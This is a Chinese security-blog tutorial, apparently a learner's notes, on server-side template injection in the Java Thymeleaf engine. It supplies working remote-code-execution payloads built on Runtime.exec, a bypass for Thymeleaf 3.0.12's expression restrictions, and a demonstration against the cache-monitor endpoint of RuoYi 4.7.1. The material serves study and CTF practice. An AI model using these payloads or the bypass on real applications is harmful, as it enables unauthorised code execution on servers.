千寻笔记:Thymeleaf-SSTI

admin 2023年11月13日23:21:24评论22 views字数 9339阅读31分7秒阅读模式

01
写在前面

本文将介绍Thymeleaf中的SSTI,学习的过程中可以类比Python中的SSTI来理解,主要是一些基础的东西,也不涉及什么高深的奇技淫巧。

02
Thymeleaf简介

Thymeleaf是一个现代的Java服务器端模板引擎,基于XML/XHTML/HTML5语法。 该引擎的核心优势之一是自然模板。 这意味着Thymeleaf HTML 模板的外观和工作方式与HTML一样。 这主要是通过在 HTML标记中使用附加属性来实现的。 这是一个官方的例子:

<table>

<thead>
<tr>
<thth:text="#{msgs.headers.name}">Name</th>
<th th:text="#{msgs.headers.price}">Price</th>

</tr>
</thead>
<tbody>
<tr th:each="prod: ${allProducts}">
<tdth:text="${prod.name}">Oranges</td>
<tdth:text="${#numbers.formatDecimal(prod.price, 1, 2)}">0.99</td>

</tr>
</tbody></table>

2.1. Thymeleaf-Demo

首先新建一个项目,选择-spring-initializr

千寻笔记:Thymeleaf-SSTI

添加如下依赖

千寻笔记:Thymeleaf-SSTI

如果是jdk1.8springboot最好用2.7.17,整体依赖如下

<?xmlversion="1.0" encoding="UTF-8"?><projectxmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="http://maven.apache.org/POM/4.0.0https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>

<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>

<version>2.7.17</version>
<relativePath/> <!-- lookup parent from repository -->

</parent>
<groupId>com.example</groupId>

<artifactId>Thymeleaf</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>Thymeleaf</name>
<description>Thymeleaf</description>
<properties>
<java.version>1.8</java.version>

</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>

</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>

</dependency>

<dependency>

<groupId>org.springframework.boot</groupId>

<artifactId>spring-boot-starter-test</artifactId>

<scope>test</scope>
</dependency>
</dependencies>

<build>
<plugins>
<plugin>

<groupId>org.springframework.boot</groupId>

<artifactId>spring-boot-maven-plugin</artifactId>

</plugin>
</plugins>
</build>
</project>

然后maven reload一下,以下是项目结构

千寻笔记:Thymeleaf-SSTI

新建个controller,在里面写个java-DemoController

packagecom.example.thymeleaf.cotroller;
importorg.springframework.stereotype.Controller;importorg.springframework.ui.Model;importorg.springframework.web.bind.annotation.GetMapping;
@Controllerpublicclass DemoController {
@GetMapping("index")
public String getIndex(Model model)
{
model.addAttribute("hello","你好吗");

return "index";
}}

首先@GetMapping定义一个index路由,然后写一个方法getIndex来获取模板内容,model.addAttribute("message","你好吗");定义了一个message参数,值是”你好吗“,然后"return index"index就是模板名字,这里是index.html

接下来在templates目录下新建一个HTML

<!DOCTYPEhtml><html  xmlns:th="http://www.thymeleaf.org"lang="en">
<head>
<metacharset="UTF-8">
<title>title</title>

</head>
<body>
hello 第一个Thymeleaf程序

<div th:text="${hello}"></div>
</body></html>

<html xmlns:th="http://www.thymeleaf.org"lang="en">设置成这样,就可以使用Thymeleaf的语法和表达式了。

最后配置application.properties

server.port=8080
#
关闭Thymeleaf的缓存
spring.thymeleaf.cache=false
spring.thymeleaf.prefix=classpath:/templates/
spring.thymeleaf.suffix=.html
运行即可

千寻笔记:Thymeleaf-SSTI

2.2. Thymeleaf中常用的标签

参考:https://www.cnblogs.com/tarorat/p/17525958.html

关键字

功能介绍

案例

th:id

替换id

<input th:id="'xxx' + ${collect.id}"/>

th:text

文本替换

<p th:text="${collect.description}">description</p>

th:utext

支持html的文本替换

<p th:utext="${htmlcontent}">conten</p>

th:object

替换对象

<div th:object="${session.user}">

th:value

属性赋值

<input th:value="${user.name}" />

th:with

变量赋值运算

<div th:with="isEven=${prodStat.count}%2==0"></div>

th:style

设置样式

th:style="'display:' + @{(${sitrue} ? 'none' : 'inline-block')} + ''"

th:onclick

点击事件

th:onclick="'getCollect()'"

th:each

属性赋值

tr th:each="user,userStat:${users}">

th:if

判断条件

<a th:if="${userId == collect.userId}" >

th:unless

th:if判断相反

<a th:href="@{/login}" th:unless=${session.user != null}>Login</a>

th:href

链接地址

<a th:href="@{/login}" th:unless=${session.user != null}>Login</a> />

th:switch

多路选择 配合th:case使用

<div th:switch="${user.role}">

th:case

th:switch的一个分支

<p th:case="'admin'">User is an administrator</p>

th:fragment

布局标签,定义一个代码片段,方便其它地方引用

<div th:fragment="alert">

th:include

布局标签,替换内容到引入的文件

<head th:include="layout :: htmlhead" th:with="title='xx'"></head> />

th:replace

布局标签,替换整个标签到引入的文件

<div th:replace="fragments/header :: title"></div>

th:selected

selected选择框 选中

th:selected="(${xxx.id} == ${configObj.dd})"

th:src

图片类地址引入

<img class="img-responsive" alt="App Logo" th:src="@{/img/logo.png}" />

th:inline

定义js脚本可以使用变量

<script type="text/javascript" th:inline="javascript">

th:action

表单提交的地址

<form action="subscribe.html" th:action="@{/subscribe}">

th:remove

删除某个属性

<tr th:remove="all"> 1.all:删除包含标签和所有的孩子。

th:attr

设置标签属性,多个属性可以用逗号分隔

比如th:attr="src=@{/image/aa.jpg},title=#{logo}",此标签不太优雅,一般用的比较少。

2.3. Thymeleaf表达式

Thymeleaf表达式是一种用于在Thymeleaf模板中插入动态数据的特殊语法。它允许你在模板中引用模型数据、执行条件检查、循环迭代等操作。 要在 Thymeleaf中尝试SSTI,我们首先必须了解Thymeleaf属性中出现的表达式。Thymeleaf表达式可以有以下类型:

  • ${...}:变量表达式——即,OGNLSpring EL 表达式。

  • *{...}:选择表达式——类似于变量表达式,区别在于选择表达式是在当前选择的对象而不是整个上下文变量映射上执行,也即是说只要没有选定对象,这俩用法是一样的

  • #{...}: Message (i18n)表达式——允许从外部源(比如.properties文件)检索特定于语言环境的message(个人觉得就是用来读配置文件的)

  • @{...}:链接(URL)表达式-可以是static目录下的静态资源,也可以是互联网中的资源

  • ~{...}:片段表达式——简单来说,就是重复使用某个片段,如赋值,或者作为参数传递给其他模板。

导致Thymeleaf SSTI,主要是因为片段表达式,所以我们先学习下这个片段表达式

  • 片段表达式用于定义和引用模板中的一部分,通常是HTML元素或标签。

  • 你可以将一部分模板(例如页头、页脚、导航栏等)定义为一个片段,然后在其他模板中引用它,以减少模板代码的冗余。

接下来欣赏一个GPT给的例子

  • 首先,创建一个片段模板文件,通常将其存储在专门的目录下(例如src/main/resources/templates/fragments/)。片段模板可以包含HTML元素、Thymeleaf表达式和动态数据的插入。

  • 片段模板的内容应该是特定的HTML部分,例如页头、导航栏、页脚等。

示例header.html片段模板:

<nav>

<ul>
<li><a href="/">Home</a></li>

<li><a href="/about">About</a></li>

<li><a href="/contact">Contact</a></li>

</ul></nav><h1th:text="#{app.title}">Website Title</h1>

经过以上步骤,就可以在其他模板中引用片段,语法为<div th:replace="fragments/header ::"></div>,表示在其他模板中,引用了header.html中的某个fragment

NOTEfragments/header是片段模板的路径,header是片段标识符

例如,现在引用header.html中的nav部分:<div th:replace="fragments/header :: nav"></div>

也就是引用了如下部分:

<nav>

<ul>
<li><a href="/">Home</a></li>

<li><a href="/about">About</a></li>

<li><a href="/contact">Contact</a></li>

</ul></nav>

也可以在其他模板中,引用整个header.html模板

<div th:replace="fragments/header ::"></div>

还有种用法是,~{::selector}~{this::selector},引用来自同一模版文件名为selectorfragmnt

在这里,selector可以是通过th:fragment定义的片段,也可以是类选择器、ID选择器等。

预处理:__${expression}__

除了所有这些用于表达式处理的功能外,Thymeleaf还具有预处理表达式的功能。

预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式。

预处理的表达式与普通表达式完全一样,但被双下划线符号(如__${expression}__)包围。

这两个点便是SSTI的关键点,片段表达式为我们提供了一种找到SSTI的方法,比如说,当所有参数都是静态时,是没办法利用的,但是如果我们输入一些奇奇怪怪的字符让路径报错,那么就会调用到error.html或者404.html,假如这里有可控参数,再配合上预处理,预处理也可以解析执行表达式,也就是说找到一个可以控制预处理表达式的地方,让其解析执行我们的payload即可达到任意代码执行

再看一个官方给的预处理例子

#{selection.__${sel.code}__}

Thymeleaf首先处理${sel.code}。然后,它将结果(在此示例中为ALL)作为消息表达式的一部分,即为:(#{selection.ALL})

2. SSTI

平时代码审计或者打ctf的时候,主要关注就是Controller,字面意思很好理解,关注Controller中的:

  1. URL路径是否可控

  2. return参数是否可控

举个栗子

  1. URL路径可控

@RequestMapping("/hello")publicclass HelloController {
@RequestMapping("/whoami/{name}/{sex}")
publicString hello(@PathVariable("name") String name,
@PathVariable("sex") String sex){
return "Hello" + name + sex;
}}
  1. return内容可控

  @GetMapping("/admin")

public String path(@RequestParam String language)
{

return "language/" + language + "/admin";

}

偷个懒,这里选择一个开源项目来简单演示https://github.com/veracode-research/spring-view-manipulation/

千寻笔记:Thymeleaf-SSTI

正常访问的话会提示找不到模板。

SSTI的典型测试表达式是${7*7}.这种表达方式也适用于Thymeleaf。 如果要实现远程代码执行,可以使用以下测试表达式之一:

  • SpringEL${T(java.lang.Runtime).getRuntime().exec('calc')}

  • OGNL${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

我们直接打payload看看效果:

__${newjava.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x


千寻笔记:Thymeleaf-SSTI

这里一定要urlencode all characters,否则会报错(还没搞明白为什么,大致是因为使用的tomcat吧,看别人用jetty就没问题)

通过这个执行效果,大致就能理解payload的执行过程了,首先判断是否是__xxxx__这种类型,然后经过一系列预处理,执行里面的语句,最后将执行结果放到Thymeleaf模板中。在这个过程中,涉及了片段表达式,如果有::,那么就会用到片段表达式。

调试过程参考该链接:https://www.freebuf.com/articles/web/339962.html

在我实际测试过程中,payload最后的.x不需要也是可以的,因为只要 因为 payload中包含了::

就会将templateNameSelector作为表达式执行

publicString fragment() {
return "welcome :: main";}

这里welcome就是模板名即welcome.htmlSelector就是main,即一个main片段

<divth:fragment="main">
<span th:text="'Hello,' + ${message}"></span></div>

在这个payload

__${newjava.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x

模板名是一个预处理

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__,所以不管后面的selector是什么额,都会先执行预处理,只是有时候不会输出结果罢辽,但是是会先执行预处理语句的

到这里,基础知识就结束了,下面来一个实际的例子

03
Ruoyi-4.7.1

https://github.com/yangzongzhuan/RuoYi-fast/releases

下载4.7.1版本,放到idea

先看看pom依赖,发现有thymeleaf,接下来就找利用点

千寻笔记:Thymeleaf-SSTI

在基础部分说到,利用点一般有两个,大部分是出现在URL中或者可控的return,我们直接在templates中找,在D:RuoYi-4.7.1ruoyi-adminsrcmainresourcesehcacheehcache-shiro.xml中发现cache fragment,全局搜一下

千寻笔记:Thymeleaf-SSTI

可以看到,在src/main/java/com/ruoyi/web/controller/monitor/CacheController.java,进去看看代码

千寻笔记:Thymeleaf-SSTI

这几个点都是可控的,那就好办了,这里既有return内容可控,又有URL内容可控

return内容可控:

__${newjava.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::.x

URL路径可控:

__${T(java.lang.Runtime).getRuntime().exec("touchtest")}__::.x

接下来就是将程序打包,bin目录下有打包的bat脚本

千寻笔记:Thymeleaf-SSTI

打包后使用java -jar 运行即可

千寻笔记:Thymeleaf-SSTI

下图是启动成功

千寻笔记:Thymeleaf-SSTI

再看一遍路由

千寻笔记:Thymeleaf-SSTI

随便抓个包,然后再构造数据包

POST:/monitor/cache/getKeyscacheName=&fragment=fragment-cache-kyes

这里的注入点在selector,用刚才的payload

千寻笔记:Thymeleaf-SSTI

不管怎么打都不行,这是因为在这个版本的若依,用的是Thymeleaf 3.0.12,在issues里面可以看到

千寻笔记:Thymeleaf-SSTI

就是这些表达式都被限制了。既然不能预处理,那就用${...}或者${{...}}只需要

${T++++(java.lang.Runtime).getRuntime().exec("calc.exe")} #+为空格

这是因为在这个版本中 有很多限制

  1. 表达式中不能含有关键字new

  2. (的左边的字符不能是T

  3. T(中间的字符,不能影响表达式的执行效果

所以${T++++(java.lang.Runtime).getRuntime().exec("calc.exe")}仍然是可以使用的。

千寻笔记:Thymeleaf-SSTI

04
参考

三梦大佬:https://github.com/thymeleaf/thymeleaf-spring/issues/256

网鼎杯玄武组:https://xz.aliyun.com/t/11688

Thymeleafhttps://github.com/thymeleaf/thymeleaf/issues/809

Thymeleaf教程:https://waylau.gitbooks.io/thymeleaf-tutorial/content/docs/inlining.html

05
写在结尾

其实很早就写了一点关于Thymeleaf的学习笔记,最早认识它是在2022网鼎杯玄武组-you can find it,正好那学期开了Java课程,所以学起来比较轻松,过了这么久Java已经忘得差不多了,其实遇到最多的问题还是环境,代码调试问题。。。这篇文章其实更像自己的学习笔记,潦草,口水话偏多。如有错误之处欢迎各位大哥指正,文中未表述清楚的地方,请大家多多包涵。



 监制:船长、铁子   策划:格纸   文案:Ga1axy   美工:青柠


原文始发于微信公众号(千寻安服):千寻笔记:Thymeleaf-SSTI

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月13日23:21:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   千寻笔记:Thymeleaf-SSTIhttps://cn-sec.com/archives/2202177.html

发表评论

匿名网友 填写信息